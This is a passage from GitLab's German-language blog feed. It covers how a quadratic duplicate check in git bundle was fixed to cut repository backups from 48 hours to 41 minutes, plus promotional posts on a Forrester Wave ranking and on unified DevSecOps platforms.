<p>Die <a href="https://gitlab.com/gitlab-com/gl-security">Mission der GitLab Security Division</a> ist es, allen zu ermöglichen, auf einer sicheren, geschützten und vertrauenswürdigen DevSecOps-Plattform zu innovieren und erfolgreich zu sein.</p>
<p>GitLabs Sicherheitsverbesserungen im vergangenen Jahr haben es uns ermöglicht, unser Engagement für CISAs Secure by Design Pledge zu demonstrieren, und sie haben unsere Plattform gestärkt und Kund(inn)en eine zuverlässigere und sicherere Grundlage zum Aufbauen gegeben.</p>
<p>Unser Engagement für Iteration bedeutet, dass wir uns bereits auf die nächste Reihe von Innovationen konzentrieren, die uns voranbringen werden.</p>
<blockquote>
<p>Um mehr über GitLabs Sicherheitsverbesserungen zu erfahren, setze ein Lesezeichen für unsere <a href="https://about.gitlab.com/de-de/blog/categories/security/">Sicherheitsseite im GitLab Blog</a>.</p>
</blockquote>
<h2>Mehr lesen</h2>
<ul>
<li><a href="https://about.gitlab.com/de-de/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/">Secure by Design-Prinzipien treffen auf DevSecOps-Innovation in GitLab 17</a></li>
<li><a href="https://about.gitlab.com/de-de/blog/happy-birthday-secure-by-design/">Alles Gute zum Geburtstag, Secure by Design!</a></li>
<li><a href="https://about.gitlab.com/de-de/the-source/security/strengthen-your-cybersecurity-strategy-with-secure-by-design/">Stärke deine Cybersicherheitsstrategie mit Secure by Design</a></li>
</ul>
]]></content>
        <author>
            <name>Joseph Longo</name>
            <uri>https://about.gitlab.com/blog/authors/joseph-longo</uri>
        </author>
        <published>2025-06-09T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[So haben wir GitLab-Backups von 48 Stunden auf 41 Minuten beschleunigt]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/"/>
        <updated>2025-06-05T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Backups von Repositorys sind ein wichtiger Bestandteil jeder robusten Strategie für die Notfallwiederherstellung. Mit zunehmender Größe der Repositorys wird die Erstellung zuverlässiger Backups jedoch immer schwieriger. Das Backup unseres eigenen <a href="https://gitlab.com/gitlab-org/gitlab">Rails-Repository</a> dauerte 48 Stunden und zwang uns zu einer unmöglichen Entscheidung zwischen Backup-Häufigkeit und Systemleistung. Wir wollten dieses Thema sowohl für unsere Kund(inn)en als auch für unsere eigenen Benutzer(innen) in den Griff bekommen.</p>
<p>Schließlich haben wir das Problem auf eine 15 Jahre alte Git-Funktion mit O(N²)-Komplexität zurückgeführt und sie mit einer algorithmischen Änderung behoben, die die <strong>Backup-Zeiten exponentiell reduzierte</strong>. Das Ergebnis: niedrigere Kosten, weniger Risiko und Backup-Strategien, die tatsächlich mit deiner Codebase mitwachsen.</p>
<p>Es stellte sich heraus, dass es sich um ein Skalierungsproblem von Git handelt, das jedes große Repository betrifft. Hier erfährst du, wie wir es aufgespürt und behoben haben.</p>
<h2>Skalierbare Backups</h2>
<p>Sehen wir uns zunächst das Problem an. Wenn Unternehmen ihre Repositorys skalieren und Backups immer komplexer werden, stehen sie vor einigen Herausforderungen:</p>
<ul>
<li><strong>Zeitintensive Backups:</strong> Bei sehr großen Repositorys kann es mehrere Stunden dauern, bis ein Repository-Backup erstellt wird. Dies kann die Möglichkeit, regelmäßige Backups zu planen, beeinträchtigen.</li>
<li><strong>Ressourcenintensität:</strong> Erweiterte Backup-Prozesse können erhebliche Serverressourcen verbrauchen, was sich möglicherweise auf andere Vorgänge auswirken kann.</li>
<li><strong>Backup-Fenster:</strong> Für Teams, die rund um die Uhr arbeiten, kann es schwierig sein, angemessene Wartungsfenster für Prozesse zu finden, die so lange dauern.</li>
<li><strong>Erhöhtes Ausfallrisiko:</strong> Prozesse, die über längere Zeit ausgeführt werden, sind anfälliger für Unterbrechungen durch Netzwerkprobleme, Neustarts von Servern und Systemfehler. So sind Teams manchmal dazu gezwungen, den gesamten sehr langen Backup-Prozess von Grund auf neu zu starten.</li>
<li><strong>Race Conditions:</strong> Da es sehr lange dauert, ein Backup durchzuführen, kann sich das Repository während des Prozesses stark verändern. Dies kann möglicherweise zu einem ungültigen Backup führen oder das Backup unterbrechen, weil Objekte nicht mehr verfügbar sind.</li>
</ul>
<p>Diese Herausforderungen können zu Kompromissen bei der Häufigkeit oder Vollständigkeit von Backups führen – ein inakzeptabler Kompromiss, wenn es um den Datenschutz geht. Erweiterte Backup-Fenster können Kund(inn)en zu Problemumgehungen zwingen. Einige setzen möglicherweise externe Tools ein, während andere die Backup-Häufigkeit reduzieren, was zu potenziell inkonsistenten Datenschutzstrategien im Unternehmen führen kann.</p>
<p>Sehen wir uns nun an, wie wir einen Leistungsengpass identifiziert, eine Lösung gefunden und diese bereitgestellt haben, um die Backup-Zeiten zu verkürzen.</p>
<h2>Die technische Herausforderung</h2>
<p>Die Repository-Backup-Funktionalität von GitLab basiert auf dem Befehl <a href="https://git-scm.com/docs/git-bundle"><code>git bundle create</code></a>, der einen vollständigen Snapshot eines Repository erfasst, einschließlich aller Objekte und Referenzen wie Branches und Tags. Dieses Bundle dient als Wiederherstellungspunkt, um das Repository in seinem genauen Zustand neu zu erstellen.</p>
<p>Die Implementierung des Befehls litt jedoch unter einer schlechten Skalierbarkeit im Zusammenhang mit der Referenzzählung, was zu einem Leistungsengpass führte. Je mehr Referenzen die Repositorys sammelten, desto mehr stieg die Verarbeitungszeit exponentiell an. In unseren größten Repositorys mit Millionen von Referenzen konnten Backup-Vorgänge mehr als 48 Stunden dauern.</p>
<h3>Grundursachenanalyse</h3>
<p>Um die Grundursache dieses Leistungsengpasses zu identifizieren, haben wir ein Flammendiagramm des Befehls während der Ausführung analysiert.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097176/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097176388.jpg" alt="Flammendiagramm, das den Befehl während der Ausführung zeigt"></p>
<p>Ein Flammendiagramm, das den Ausführungspfad eines Befehls durch seinen Stacktrace zeigt. Jeder Balken entspricht einer Funktion im Code. Die Breite des Balkens gibt an, wie viel Zeit der Befehl für die Ausführung innerhalb dieser bestimmten Funktion benötigt hat.</p>
<p>Bei der Untersuchung des Flammendiagramms von <code>git bundle create</code>, das auf einem Repository mit 10 000 Referenzen ausgeführt wird, werden etwa 80 % der Ausführungszeit von der Funktion <code>object_array_remove_duplicates()</code> verbraucht. Diese Funktion wurde in Git im <a href="https://gitlab.com/gitlab-org/git/-/commit/b2a6d1c686">Commit b2a6d1c686</a> eingeführt (bundle: allow the same ref to be given more than once, 17.01.2009).</p>
<p>Um diese Änderung zu verstehen, ist es wichtig zu wissen, dass <code>git bundle create</code> es Benutzer(inne)n ermöglicht, anzugeben, welche Referenzen in das Bundle aufgenommen werden sollen. Für vollständige Repository-Bundles werden mit dem Flag <code>--all</code> alle Referenzen gepackt.</p>
<p>Der Commit löste ein Problem, bei dem Benutzer(innen), die über die Befehlszeile doppelte Referenzen bereitstellten – wie z. B. <code>git bundle create main.bundle main main</code> – ein Bundle erstellten, ohne die doppelte Hauptreferenz ordnungsgemäß zu verarbeiten. Das Entpacken dieses Bundles in einem Git-Repository würde fehlschlagen, da versucht würde, die gleiche Referenz zweimal zu schreiben. Der Code zum Vermeiden von Duplikaten verwendet verschachtelte <code>for</code>-Schleifen, die alle Referenzen durchlaufen, um Duplikate zu identifizieren. Dieser O(N²)-Algorithmus wird in Repositorys mit einer großen Anzahl von Referenzen zu einem erheblichen Leistungsengpass, da er viel Rechenzeit verbraucht.</p>
<h3>Der Fix: Von O(N²) zu effizientem Mapping</h3>
<p>Um dieses Leistungsproblem zu lösen, haben wir einen Upstream-Fix für Git bereitgestellt, der die verschachtelten Schleifen durch eine Mapping-Datenstruktur ersetzt. Jede Referenz wird der Zuordnung hinzugefügt, wodurch automatisch sichergestellt wird, dass nur eine einzige Kopie jeder Referenz für die Bearbeitung gespeichert wird.</p>
<p>Diese Änderung verbessert die Leistung von <code>git bundle create</code> drastisch und ermöglicht eine bessere Skalierbarkeit in Repositorys mit einer großen Anzahl von Referenzen. Benchmark-Tests mit einem Repository mit 10 000 Referenzen zeigen eine 6-fache Leistungssteigerung.</p>
<pre><code class="language-shell">Benchmark 1: bundle (refcount = 100000, revision = master)
  Time (mean ± σ): 	14.653 s ±  0.203 s	[User: 13.940 s, System: 0.762 s]
  Range (min … max):   14.237 s … 14.920 s	10 runs

Benchmark 2: bundle (refcount = 100000, revision = HEAD)
  Time (mean ± σ):  	2.394 s ±  0.023 s	[User: 1.684 s, System: 0.798 s]
  Range (min … max):	2.364 s …  2.425 s	10 runs

Summary
  bundle (refcount = 100000, revision = HEAD) ran
  6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)
</code></pre>
<p>Der Patch wurde akzeptiert und in den Git-Upstream <a href="https://gitlab.com/gitlab-org/git/-/commit/bb74c0abbc31da35be52999569ea481ebd149d1d">zusammengeführt</a>. Wir haben diesen Fix zurückportiert, damit unsere Kund(inn)en sofort davon profitieren können, ohne auf die nächste Git-Version warten zu müssen.</p>
<h2>Das Ergebnis: Drastisch verkürzte Backup-Zeiten</h2>
<p>Die Leistungssteigerungen, die sich aus dieser Verbesserung ergeben haben, sind bahnbrechend:</p>
<ul>
<li><strong>Von 48 Stunden auf 41 Minuten:</strong> Das Erstellen eines Backups unseres größten Repositorys (<code>gitlab-org/gitlab</code>) dauert jetzt nur noch 1,4 % der ursprünglichen Zeit.</li>
<li><strong>Konsistente Leistung:</strong> Die Verbesserung funktioniert zuverlässig bei Repositorys jeder Größe.</li>
<li><strong>Ressourceneffizienz:</strong> Wir haben die Serverlast während der Backup-Vorgänge deutlich reduziert.</li>
<li><strong>Breitere Anwendbarkeit:</strong> Bei der Erstellung von Backups ist die Verbesserung am größten, aber auch alle Bundle-basierten Vorgänge, die mit vielen Referenzen arbeiten, profitieren davon.</li>
</ul>
<h2>Was bedeutet das für GitLab-Kund(inn)en?</h2>
<p>GitLab-Kund(inn)en profitieren von dieser Erweiterung unmittelbar und spürbar, wenn es darum geht, wie Unternehmen die Sicherung von Repositorys und die Notfallwiederherstellung planen:</p>
<ul>
<li><strong>Transformierte Backup-Strategien</strong>
<ul>
<li>Enterprise-Teams können umfassende nächtliche Zeitpläne aufstellen, ohne dass die Entwicklungs-Workflows beeinträchtigt werden oder umfangreiche Backup-Fenster erforderlich sind.</li>
<li>Backups können jetzt während der nächtlichen Zeitpläne nahtlos im Hintergrund ausgeführt werden, anstatt separat und langwierig durchgeführt zu werden.</li>
</ul>
</li>
<li><strong>Bessere Geschäftskontinuität</strong>
<ul>
<li>Durch die Verkürzung der Backup-Zeiten von Tagen auf Minuten können Unternehmen ihr Wiederherstellungsziel deutlich minimieren. Dies führt zu einem geringeren Geschäftsrisiko – in einem Katastrophenszenario musst du möglicherweise nur noch Stunden anstatt Tage an Arbeit wiederherstellen.</li>
</ul>
</li>
<li><strong>Reduzierter betrieblicher Mehraufwand</strong>
<ul>
<li>Geringerer Verbrauch von Serverressourcen und kürzere Wartungsfenster.</li>
<li>Kürzere Backup-Fenster bedeuten geringere Compute-Kosten, vor allem in Cloud-Umgebungen, wo sich längere Verarbeitungszeiten direkt in höheren Rechnungen niederschlagen.</li>
</ul>
</li>
<li><strong>Zukunftssichere Infrastruktur</strong>
<ul>
<li>Wachsende Repositorys erzwingen keine schwierigen Entscheidungen mehr zwischen Backup-Häufigkeit und Systemleistung.</li>
<li>Wenn deine Codebase wächst, kann deine Backup-Strategie nahtlos mitwachsen.</li>
</ul>
</li>
</ul>
<p>Unternehmen können jetzt robustere Backup-Strategien umsetzen, ohne Kompromisse bei der Leistung oder Vollständigkeit einzugehen. Was früher ein schwieriger Kompromiss war, ist heute ein ganz normaler Vorgang.</p>
<p>Mit dem Release von <a href="https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/">GitLab 18.0 (nur in englischer Sprache verfügbar)</a> können alle GitLab-Kund(inn)en unabhängig von ihrem Tarif diese Verbesserungen bereits in vollem Umfang für ihre <a href="https://docs.gitlab.com/administration/backup_restore/backup_gitlab/">Backup-Strategie und Ausführung (nur in englischer Sprache verfügbar)</a> nutzen. Es ist keine weitere Änderung der Konfiguration erforderlich.</p>
<h2>Wie geht es weiter?</h2>
<p>Dieser Durchbruch ist Teil unseres kontinuierlichen Engagements für eine skalierbare, unternehmensgerechte Git-Infrastruktur. Die Reduzierung der Zeit für die Erstellung von Backups von 48 Stunden auf 41 Minuten ist bereits ein wichtiger Meilenstein. Wir arbeiten weiter daran, Leistungsengpässe in unserem gesamten Stack zu identifizieren und zu beheben.</p>
<p>Wir sind besonders stolz darauf, dass diese Verbesserung in das Git-Projekt integriert wurde und nicht nur den Benutzer(inn)en von GitLab, sondern auch der gesamten Git-Community zugutekommt. Dieser kollaborative Ansatz bei der Entwicklung stellt sicher, dass Verbesserungen gründlich geprüft, umfassend getestet und für alle zugänglich gemacht werden.</p>
<blockquote>
<p>Tiefgreifende Infrastrukturarbeit wie diese ist die Art, wie wir bei GitLab an die Leistung herangehen. Nimm am virtuellen Launch-Event von GitLab 18 teil, um zu sehen, welche weiteren grundlegenden Verbesserungen wir einführen werden. <a href="https://about.gitlab.com/de-de/eighteen/">Registriere dich noch heute!</a></p>
</blockquote>
]]></content>
        <author>
            <name>Karthik Nayak</name>
            <uri>https://about.gitlab.com/blog/authors/karthik-nayak</uri>
        </author>
        <author>
            <name>Manuel Kraft</name>
            <uri>https://about.gitlab.com/blog/authors/manuel-kraft</uri>
        </author>
        <published>2025-06-05T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab ist ein Leader in der Forrester Wave™: DevOps Platforms, Q2 2025]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025/"/>
        <updated>2025-06-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Die Wahl einer DevSecOps-Plattform ist eine der wichtigesten technologischen Entscheidungen, die ein Unternehmen zu treffen hat. Deshalb freuen wir uns sehr, dass wir als <a href="https://about.gitlab.com/forrester-wave-devops-platform/"><strong>führender Anbieter in The Forrester Wave™: DevOps Platforms, Q2 2025</strong> (nur in englischer Sprache verfügbar)</a> ausgezeichnet wurden.</p>
<p>Wir haben die höchstmöglichen Punktzahlen bei den Kriterien erhalten, die unseren Kund(inn)en laut ihren eigenen Angaben am wichtigsten sind, einschließlich der Benutzungserfahrung am ersten Tag, der Entwicklungstools, der Build-Automatisierung und CI, der automatisierten Bereitstellung, der Risikominderung im Zusammenhang mit KI, KI-Infusion, direkt integrierter Sicherheitstools und Plattformkohäsion.</p>
<p><em><strong>„GitLab ist die All-in-One-Lösung unter den All-in-One-Lösungen, die ihrem Namen am stärksten gerecht wird, und eignet sich damit für Unternehmen, die mit einem einzigen Kauf eine Standardisierung herbeiführen möchten.“ –</strong></em> Forrester Wave™: DevOps Platforms, Q2 2025</p>
<p>Diese Auszeichnung spiegelt das wider, was wir selbst von unseren Kund(inn)en gehört haben: Sie müssen sichere Software schneller bereitstellen, doch ihre bestehenden Lösungen zwingen sie, Kompromisse bei der Geschwindigkeit, Sicherheit oder Einfachheit einzugehen. GitLab wird jedoch allen drei Anforderungen gerecht. Und mit unserer <a href="https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/">Veröffentlichung von GitLab 18.0 (nur in englischer Sprache verfügbar)</a> im Mai sind wir noch einen Schritt weiter gegangen, indem wir ohne zusätzliche Kosten <a href="https://about.gitlab.com/de-de/blog/gitlab-premium-with-duo/">die KI-nativen Funktionen von GitLab Duo</a> – wie Test Generation, Code Suggestions und Code Refactoring – direkt in GitLab Premium und GitLab Ultimate integriert haben.</p>
<blockquote>
<p><strong><a href="https://about.gitlab.com/forrester-wave-devops-platform/">Erhalte jetzt Zugang zum englischsprachigen Bericht.</a></strong></p>
</blockquote>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673518/Blog/Content%20Images/Image_DevOps-Platforms-Q2-2025.png" alt=" Forrester Wave™: DevOps-Plattformen, Grafik Q2 2025"></p>
<h2>Mit unternehmensweiter Kontrolle an der Spitze der KI-Transformation bleiben</h2>
<p>DevSecOps entwickelt sich rasant weiter, wobei die KI an der Spitze dieses Wandels steht. Leider zwingen viele KI-Tools die Anwender(innen) zu einer Wahl: entweder modernste Funktionen oder eine höchstmögliche Unternehmenssicherheit.</p>
<p>GitLab hat sowohl bei den Kriterien <strong>KI-Infusion</strong> als auch <strong>KI-Risikominderung</strong> 5 Punkte erhalten – die höchste mögliche Punktzahl. Wir freuen uns, dass unser klarer Fokus auf die Entwicklung innovativer KI-Funktionen, bei denen gleichermaßen eine umfassende Sicherheit gewährleistet bleibt, nicht nur von unseren Kund(inn)en wahrgenommen wird.</p>
<p>Diese doppelte Stärke zeigt sich in unseren KI-Angeboten von GitLab Duo, unter anderem:</p>
<ul>
<li>Duo Workflow (private Beta-Version): Autonome KI-Agenten, die komplexe Aufgaben bei der Entwicklung, Sicherheit und Betrieb bewältigen – mit Leitlinien und Audit-Trails auf Enterprise-Niveau.</li>
<li>Agentic Chat: Kontextbezogene, dialogorientierte KI-Unterstützung für alles von Codeerläuterungen bis hin zur Erstellung von Tests – mit integriertem Schutz des geistigen Eigentums und Datenschutzkontrollen.</li>
<li>Code Suggestions: KI-Unterstützung, die Codeblöcke vorausschauend vervollständigen, eine Funktionslogik definieren, Tests generieren und häufig verwendeten Code wie Regex-Muster vorschlagen kann.</li>
<li>KI-native Vulnerability Resolution: Findet und behebt Sicherheitslücken mit automatischen Erklärungen und automatisch erstellten Merge Requests, um so den Entwicklungsprozess zu optimieren.</li>
</ul>
<h2>Mit weniger mehr erreichen</h2>
<p>Wir haben deutlich vernommen, dass DevSecOps-Teams nicht noch mehr Tools und Integrationen benötigen, die sie bei einzelnen Abschnitten ihres Software-Entwicklungsprozesses unterstützen. Sie benötigen stattdessen eine nahtlose, integrierte Entwicklererfahrung, die den gesamten Lebenszyklus der Softwareentwicklung abdeckt.</p>
<p>Wir sind überzeugt, dass die Bewertungen von GitLab in den folgenden Kriterien unsere kundenorientierte Strategie bestätigen:</p>
<ul>
<li><strong>Nutzungserfahrung am ersten Tag:</strong> Forrester zitiert unsere „starke Nutzungserfahrung am ersten Tag“ und stellt fest, dass „alles sofort einsatzbereit ist“, unterstützt durch umfangreiche Migrationstools und Tutorials.</li>
<li><strong>Entwicklertools:</strong> Forrester verweist beispielhaft auf <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo mit Amazon Q</a>, unser Angebot für agentische KI für AWS-Kund(inn)en, sowie auf unsere Entwicklungsumgebung in der Cloud, die integrierte Entwicklungsplattform und Wikis für die Dokumentation.</li>
<li><strong>Projektplanung und -abstimmung:</strong> Forrester hebt unser „starkes Compliance Center“ hervor und stellt fest, dass wir über Tools verfügen, um die Abstimmung in beide Richtungen voranzutreiben.</li>
<li><strong>Pipeline-Sicherheit:</strong> Forrester gibt uns die höchstmögliche Punktzahl beim Kriterium Pipeline-Sicherheit.</li>
<li><strong>Build-Automatisierung und CI:</strong> Forrester erwähnt unsere Build-Automatisierung und CI mit mehrstufigen Build-Pipelines und einer starken Unterstützung für selbst gehostete Installationen.</li>
</ul>
<h2>Bericht lesen</h2>
<p>Für uns spiegelt sich in unserer Auszeichnung als führender Anbieter in The Forrester Wave™: DevOps-Plattformen, Q2 2025 die Breite und Tiefe der Funktionen unserer Plattform wider, die als Single Source of Truth über den gesamten Lebenszyklus der Softwareentwicklung hinweg fungiert. Kein Jonglieren mit mehreren Tools und Integrationen mehr – GitLab bietet eine nahtlose, integrierte Erfahrung, die die Produktivität steigert und Reibungsverluste reduziert.</p>
<p>Wir sind überzeugt, dass sich in dieser hervorragenden Platzierung die harte Arbeit unseres Teams, die vielen Beiträge der Open-Source-Community von GitLab, das unschätzbare Feedback unserer Kund(inn)en und unser Engagement für die Gestaltung der Zukunft der Softwareentwicklung widerspiegeln.</p>
<blockquote>
<p><strong><a href="https://about.gitlab.com/forrester-wave-devops-platform/">Öffne den englischsprachigen Bericht.</a></strong></p>
</blockquote>
<p><em>Forrester spricht keine Empfehlung für Unternehmen, Produkte, Marken oder Dienstleistungen aus, die in seinen Forschungspublikationen vorkommen, und rät niemandem, sich auf der Grundlage der in diesen Publikationen aufgeführten Bewertungen für die Produkte oder Dienstleistungen eines Unternehmens oder einer Marke zu entscheiden. Die Informationen basieren auf den besten verfügbaren Ressourcen. Die Meinungen spiegeln die jeweils aktuelle Einschätzung wider und können sich ändern. Weitere Informationen zur Objektivität von Forrester (in englischer Sprache) findest du <a href="https://www.forrester.com/about-us/objectivity/">hier</a>.</em></p>
]]></content>
        <author>
            <name>Dave Steer</name>
            <uri>https://about.gitlab.com/blog/authors/dave-steer</uri>
        </author>
        <published>2025-06-02T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Warum steigen Unternehmen auf eine einheitliche DevSecOps-Plattform um?]]></title>
        <id>https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/</id>
        <link href="https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/"/>
        <updated>2025-06-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In der modernen Softwareentwicklung von heute migrieren viele Unternehmen in die Cloud und führen DevSecOps-Prozesse ein. Durch die Vielzahl von Tools und Legacy-Systemen, die nicht für die moderne Entwicklung ausgelegt sind, stellt diese Umstellung jedoch eine große Herausforderung dar.</p>
<p>Um diese Systeme an DevSecOps anzupassen, müssen Unternehmen mehrere Tools für Aufgabenmanagement, CI/CD, Sicherheit, Überwachung und vieles mehr miteinander verknüpfen. Das Ergebnis? Komplexe Betriebsabläufe, hohe Wartungskosten und eine erschwerte Zusammenarbeit zwischen Entwicklungs- und Betriebsteams. Darüber hinaus sind Entwickler(innen) frustriert, da sie ständig zwischen verschiedenen Tools wechseln müssen, um einen einzigen Flow – von der Planung bis zur Produktion – abzuschließen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg" alt="Die Komplexität und die Betriebskosten der Integration mehrerer Tools in einen DevSecOps-Prozess"></p>
<p>&lt;center&gt;&lt;i&gt;Wie komplex es sein kann, mehrere Tools in einen DevSecOps-Prozess zu integrieren&lt;/i&gt;&lt;/center&gt;</p>
<p>&lt;br&gt;&lt;/br&gt;</p>
<p>Die gute Nachricht ist, es gibt eine Lösung: Eine umfassende DevSecOps-Plattform, die einen einheitlichen Ansatz für die Softwareentwicklung bietet.</p>
<p>Diese Plattformen sind für Unternehmen konzipiert, die in cloudbasierten und DevSecOps-Umgebungen arbeiten. Sie konsolidieren alle Phasen der Softwareentwicklung – von der Codeverwaltung, über CI/CD-Prozesse, Aufgabenmanagement und Sicherheit bis hin zur KI-gestützten Automatisierung – auf einer einzigen Plattform. Die Zentralisierung aller Softwareentwicklungs-Workflows in einer einheitlichen Oberfläche ermöglicht es den Entwicklungs- und Betriebsteams, effizienter zu arbeiten, die Kommunikation zu vereinfachen und die Komplexität der Vorgänge und Störungen zu minimieren.</p>
<p>Darüber hinaus verbessert sich die Entwicklererfahrung erheblich – sie arbeiten viel lieber mit einem Produkt, das speziell für moderne Entwicklungsanforderungen konzipiert wurde.</p>
<p>In den folgenden Abschnitten erfahren wir, wie GitLab Teams bei der Bewältigung gängiger Herausforderungen hilft – sei es bei der Verwaltung von Projekten und Aufgaben, der Gewährleistung von Sicherheit und Compliance oder der Einführung von KI-basierten Entwicklungstools – und das alles auf einer einzigen, einheitlichen Plattform.</p>
<h2>Integriertes Agile-Projektmanagement</h2>
<p><a href="https://about.gitlab.com/de-de/">GitLab</a> bietet eine ganzheitliche Lösung, bei der das Projekt- und Aufgabenmanagement über alle Phasen des Softwareentwicklungszyklus hinweg vollständig integriert ist, wie z. B. CI/CD, wodurch der Entwicklungsfortschritt in Echtzeit verfolgt werden kann. Tickets und Epics sind direkt mit den Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Flow von der Planung bis zur Bereitstellung in der Produktion. Dieser Ansatz erhöht die Transparenz zwischen den Teams, verringert Verzögerungen und stellt sicher, dass alle Beteiligten einen klaren Überblick über den Entwicklungsstatus in Echtzeit haben.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg" alt="Tickets und Epics sind direkt mit Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Übergang von der Planung bis zur Bereitstellung in der Produktion."></p>
<h2>Integrierte Sicherheit</h2>
<p>GitLab legt großen Wert auf die Integration von umfassenden Sicherheitsfunktionen („security first“). Die Plattform integriert eine breite Palette automatisierter Sicherheitsscanner, darunter (Dokumentation nur in englischer Sprache verfügbar):</p>
<ul>
<li><a href="https://docs.gitlab.com/user/application_security/dependency_scanning/">Abhängigkeitssuche</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/sast/">Statische Anwendungssicherheitstests (SAST)</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/dast/">Dynamische Anwendungssicherheitstests (DAST)</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/secret_detection/">Erkennung von Geheimnissen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/container_scanning/">Container-Scanning</a></li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg" alt="Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind"></p>
<p>&lt;center&gt;&lt;i&gt;Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind&lt;/i&gt;&lt;/center&gt;</p>
<p>&lt;br&gt;&lt;/br&gt;</p>
<p>Diese Sicherheitsprüfungen werden direkt in jede Phase des Softwareentwicklungszyklus eingebaut, einschließlich der CI/CD-Pipeline, um den Entwickler(inne)n schon früh im Entwicklungszyklus ein unmittelbares Feedback zu potenziellen Sicherheitsproblemen zu geben.</p>
<h2>Compliance und regulatorische Anforderungen</h2>
<p>Neben Effizienz und Benutzerfreundlichkeit müssen viele Unternehmen – insbesondere in regulierten Branchen wie Finanzinstituten oder Großunternehmen – sicherstellen, dass ihre Prozesse strengen Sicherheits- und Compliance-Standards entsprechen. Sie müssen in der Lage sein, Richtlinien für verschiedene Projekte durchzusetzen, z. B. einen Sicherheitsscanner vorzuschreiben, wenn eine CI/CD-Pipeline auf bestimmten Code-Branches (Main- oder geschützte Branches) ausgeführt wird, oder bestimmte Genehmigungen zu verlangen, bevor Code in den Main-Branch zusammengeführt wird.</p>
<p>Mit GitLab wird dies durch <a href="https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/">Compliance-Frameworks (nur in englischer Sprache verfügbar)</a> erleichtert, eine Funktion, mit der Unternehmen strukturierte Richtlinien für ausgewählte Projekte definieren und durchsetzen können. So wird die Einhaltung automatischer gesetzlicher und sicherheitstechnischer Anforderungen gewährleistet und gleichzeitig ein nahtloser und effizienter Workflow für Entwickler(innen) sichergestellt.</p>
<h2>KI-basierte Entwicklung</h2>
<p><a href="https://about.gitlab.com/de-de/gitlab-duo/">GitLab Duo</a> unterstützt dich in allen Entwicklungsphasen mit KI, sodass du nicht mehr auf externe Tools zurückgreifen musst. Jede KI-unterstützte Anforderung wird im gesamten Kontext des Projekts und der Codebase bearbeitet, was eine intelligentere und effizientere Arbeit ermöglicht.</p>
<p>Die KI kann zum Beispiel folgende Aufgaben übernehmen:</p>
<ul>
<li>automatische Erstellung von Aufgabenbeschreibungen</li>
<li>intelligente Zusammenfassung von Diskussionen zu Tickets, was Entwickler(inne)n wertvolle Zeit spart</li>
<li>erweiterte Code-Review-Funktionen</li>
<li>Vorschläge zur Codeverbesserung und -optimierung</li>
<li>automatisierte Testgenerierung</li>
<li>Erkennung und Behebung von Sicherheitslücken</li>
<li>Fehlerbehebung bei der Grundursachenanalyse für CI-Pipeline-Fehler</li>
<li>Datenschutz und Datensicherheit</li>
</ul>
<p>GitLab kennt die Bedürfnisse von regulierten Unternehmen, insbesondere im öffentlichen und im Finanzsektor, und bietet eine einzigartige Lösung für den Einsatz von KI-Modellen in einer sicheren Umgebung. GitLab Duo Self-Hosted ermöglicht es Unternehmen, die volle Kontrolle über Datenschutz, Sicherheit und die Bereitstellung großer Sprachmodelle <a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/">(LLMs; nur in englischer Sprache verfügbar)</a> in ihrer eigenen Infrastruktur zu behalten. Dabei wird Folgendes gewährleistet:</p>
<ul>
<li>Datenschutz</li>
<li>Einhaltung gesetzlicher Anforderungen</li>
<li>maximale Sicherheit</li>
<li>KI-Vorteile ohne externe Netzwerkabhängigkeiten oder -risiken</li>
</ul>
<h2>Zusammenfassung</h2>
<p>Unternehmen brauchen eine umfassende DevSecOps-Plattform, um Prozesse zu rationalisieren, die Sicherheit zu verbessern und Innovationen zu beschleunigen. GitLab bietet genau das – eine einzige Anwendung, die alle wichtigen Entwicklungs-, Sicherheits- und Betriebswerkzeuge mit integrierter Sicherheitsintegration und KI-basierter Automatisierung vereint.</p>
